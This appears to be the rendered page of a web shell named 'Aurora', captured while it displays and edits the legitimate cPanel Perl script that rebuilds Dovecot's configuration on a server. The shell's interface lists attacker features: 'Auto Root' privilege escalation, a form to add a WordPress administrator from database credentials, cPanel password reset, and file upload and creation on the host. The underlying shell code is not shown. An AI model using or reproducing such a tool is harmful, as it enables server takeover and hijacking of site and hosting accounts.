Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: builddovecotconf
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::builddovecotconf; use cPstrict; use Try::Tiny; use Cpanel::Config::LoadCpConf (); use Cpanel::AdvConfig (); use Cpanel::AdvConfig::dovecot (); use Cpanel::AdvConfig::dovecotSNI (); use Cpanel::AdvConfig::dovecotSSL (); use Cpanel::AdvConfig::dovecot::utils (); use Cpanel::Usage (); use Cpanel::FileUtils::TouchFile (); use Cpanel::Autodie (); use Cpanel::FileUtils::Access (); use Cpanel::Mkdir (); use Cpanel::Rand (); use Cpanel::Rand::Get (); use Cpanel::Dovecot (); use DBI (); use DBD::SQLite (); use Cpanel::DBI::SQLite (); use Cpanel::LoadModule (); our $CONF_PERMS = 0644; our $itcd_file = '/var/cpanel/imap_tcp_check_disabled'; __PACKAGE__->script(@ARGV) unless caller(); sub script ( $class, @args ) { my ( $force, $leave_broken, $now ) = ( 0, 0, time() ); Cpanel::Usage::wrap_options( \@args, \&usage, { 'force' => \$force, 'leave-broken' => \$leave_broken, }, ); my $cpconf_ref = Cpanel::Config::LoadCpConf::loadcpconf(); if ( $> != 0 ) { die "Insufficient permissions to rebuild dovecot.conf"; } my $dovecot_conf = Cpanel::AdvConfig::dovecot::utils::find_dovecot_conf(); my $test_dovecot_conf = Cpanel::Rand::get_tmp_file_by_name($dovecot_conf); die 'Failed to get a temporary working file!' if ( $test_dovecot_conf eq '/dev/null' ); chmod( $CONF_PERMS, $test_dovecot_conf ) or die "Could not set permissions on $test_dovecot_conf: $!"; # make sure the local template is valid _check_local_template() if !$leave_broken; # It is a good idea to load "our" config and process any changes *before* # we rebuild "their" config. my $conf_hr = Cpanel::AdvConfig::dovecot::get_config(); if ( $conf_hr->{'protocols'} =~ /imap(\s|$)/ ) { unlink $itcd_file; # Doesn't matter if it does not exist } else { Cpanel::FileUtils::TouchFile::touchfile('/var/cpanel/imap_tcp_check_disabled'); } # Check if conf values need updating for this upgrade. # use save_config as otherwise the changes don't persist in the UI, etc. # save_config also processes config changes, so we should invoke that # instead of merely process_config_changes. # *AMAZINGLY*, this saves a *whole lot more* keys than say whostmgr's UI # will save, though that's a consequence of it building config entirely # based off the formref instead of augmenting/replacing the existing # configuration. # This may in fact be a bug in that UI, but is longstanding behavior. # All that said, I'm not sure I'm a fan of some of the keys this adds, # as things like legacy_wildcard_safe and uniq just seem like garbage. Cpanel::AdvConfig::dovecot::save_config(); my $values_to_change = _generate_config_and_check_syntax( $force, $test_dovecot_conf, $dovecot_conf, $leave_broken ); # If dovecot complained certain values are too low, we need to adjust them if ( scalar keys %$values_to_change ) { _generate_config_and_check_syntax( $force, $test_dovecot_conf, $dovecot_conf, $leave_broken, $values_to_change ); } _setup_dovecot_dirs(); _setup_sqlite_dbs(); rename $test_dovecot_conf, $dovecot_conf or do { warn "Failed to install $dovecot_conf: $!"; }; unlink $dovecot_conf . '.datastore'; # Just in case _build_includes(); # Test the config one more time, as the includes may be invalid. my @status = Cpanel::AdvConfig::dovecot::check_syntax($dovecot_conf); if ( !$status[0] ) { print "Configuration test failed. Error details below:\n" . "Status: $status[0]\n" . "$status[1]\n"; return 0; } return 1; } sub _build_includes { for my $include ( 'dovecotSSL', 'dovecotSNI' ) { try { my $module = "Cpanel::AdvConfig::$include"; Cpanel::LoadModule::load_perl_module($module); $module->new()->rebuild_conf(); } catch { warn "The system failed to rebuild Dovecot’s $include configuration file:\n$_"; }; } return 1; } sub _generate_config_and_check_syntax { my ( $force, $test_dovecot_conf, $dovecot_conf, $leave_broken, $values_to_change ) = @_; my $config_opts_hr = { 'service' => 'dovecot', 'force' => $force, '_target_conf_file' => $test_dovecot_conf }; if ( $values_to_change and ref $values_to_change eq 'HASH' ) { $config_opts_hr->{'values_to_change'} = $values_to_change; } my ( $returnval, $message ) = Cpanel::AdvConfig::generate_config_file($config_opts_hr); if ( !$returnval ) { print "Failed to build $dovecot_conf\n$message\n"; unlink $test_dovecot_conf; exit 1; } ( $returnval, $message, my $new_values_to_change ) = Cpanel::AdvConfig::dovecot::check_syntax($test_dovecot_conf); if ( !$returnval ) { print <<"EOM"; Configuration generation failed with the following message: $message EOM unless ($force) { unlink $test_dovecot_conf unless ($leave_broken); exit 1; } } return $new_values_to_change; } sub usage { print <<EO_USAGE; Usage: builddovecotconf [options] Options: --help Brief help message --force Force installation of new conf file even if syntax check fails --leave-broken Leave broken dovecot.conf on the disk so that it can be manually examined EO_USAGE exit 0; } # Check the local template to make sure it is valid sub _check_local_template { my %results; my $do_short_circuit = 1; for my $module_short (qw/dovecot dovecotSNI dovecotSSL/) { my $module = "Cpanel::AdvConfig::$module_short"; # If we are a class, pass an object as the first argument: my @args_prefix; if ( $module->can('new') ) { $results{$module_short}->{'obj'} = $module->new(); push @args_prefix, $results{$module_short}->{'obj'}; } my ( $valid_or_not_found, @errs ) = $module->can('check_if_local_template_is_valid')->(@args_prefix); $do_short_circuit &&= $valid_or_not_found; # If anything is invalid, don't return early. $results{$module_short}->@{ 'valid_or_not_found', 'errs' } = ( $valid_or_not_found, [@errs] ); # If the main template is invalid, force all valid (and thus present) templates to be invalid too: if ( $module_short ne 'dovecot' && $module->can('has_local_template')->(@args_prefix) && !$results{'dovecot'}->{'valid_or_not_found'} ) { $results{$module_short}->{'valid_or_not_found'} = 0; push $results{$module_short}->{'errs'}->@*, 'Parent configuration file is invalid, so assuming included config file is invalid too.'; } } return 1 if $do_short_circuit; for my $module_short ( keys %results ) { my $module = "Cpanel::AdvConfig::$module_short"; # Skip if not invalid: next if $results{$module_short}->{'valid_or_not_found'}; # Again, if we are a class, pass an object as the first argument: my @args_prefix; if ( defined $results{$module_short}->{'obj'} ) { push @args_prefix, $results{$module_short}->{'obj'}; } my ( $local_template, $error ) = $module->can('get_template_file')->(@args_prefix); if ( !$local_template ) { print $error . "\n"; next; } my $attempts = 1; my $broken_template = _generate_broken_local_template_name($local_template); while ( -e $broken_template && $attempts < 11 ) { sleep(1); $broken_template = _generate_broken_local_template_name($local_template); } if ( -e $broken_template ) { print "The local template file '$local_template' is invalid, but the system was unable to determine an unused filename to rename it to.\n"; next; } print "The local template file '$local_template' is invalid. The system will rename it to $broken_template.\n"; # yes, there is a small race condition here, but I'm betting we never hit it unless we start calling this script a lot more rename $local_template, $broken_template; # FIXME: Getting up to three iContact notices about the same thing is probably more annoying than it should be. $module->can('send_icontact')->( @args_prefix, $broken_template, $results{$module_short}->{'errs'}->@* ); } return; } sub _generate_broken_local_template_name { my ($local_template) = @_; return $local_template . '.broken.' . time . '.' . Cpanel::Rand::Get::getranddata(16); } sub _setup_dovecot_dirs { Cpanel::Mkdir::ensure_directory_existence_and_mode( $Cpanel::Dovecot::CP_DOVECOT_STORAGE, 0770 ); Cpanel::FileUtils::Access::ensure_mode_and_owner( $Cpanel::Dovecot::CP_DOVECOT_STORAGE, 0770, 'dovecot' ); Cpanel::Mkdir::ensure_directory_existence_and_mode( $Cpanel::Dovecot::LASTLOGIN_DIR, 0700 ); Cpanel::FileUtils::Access::ensure_mode_and_owner( $Cpanel::Dovecot::LASTLOGIN_DIR, 0700, 'dovecot' ); return 1; } sub _setup_sqlite_dbs { Cpanel::Autodie::unlink_if_exists($Cpanel::Dovecot::SQLITE_LASTLOGIN_DB_FILE); return 1; } 1;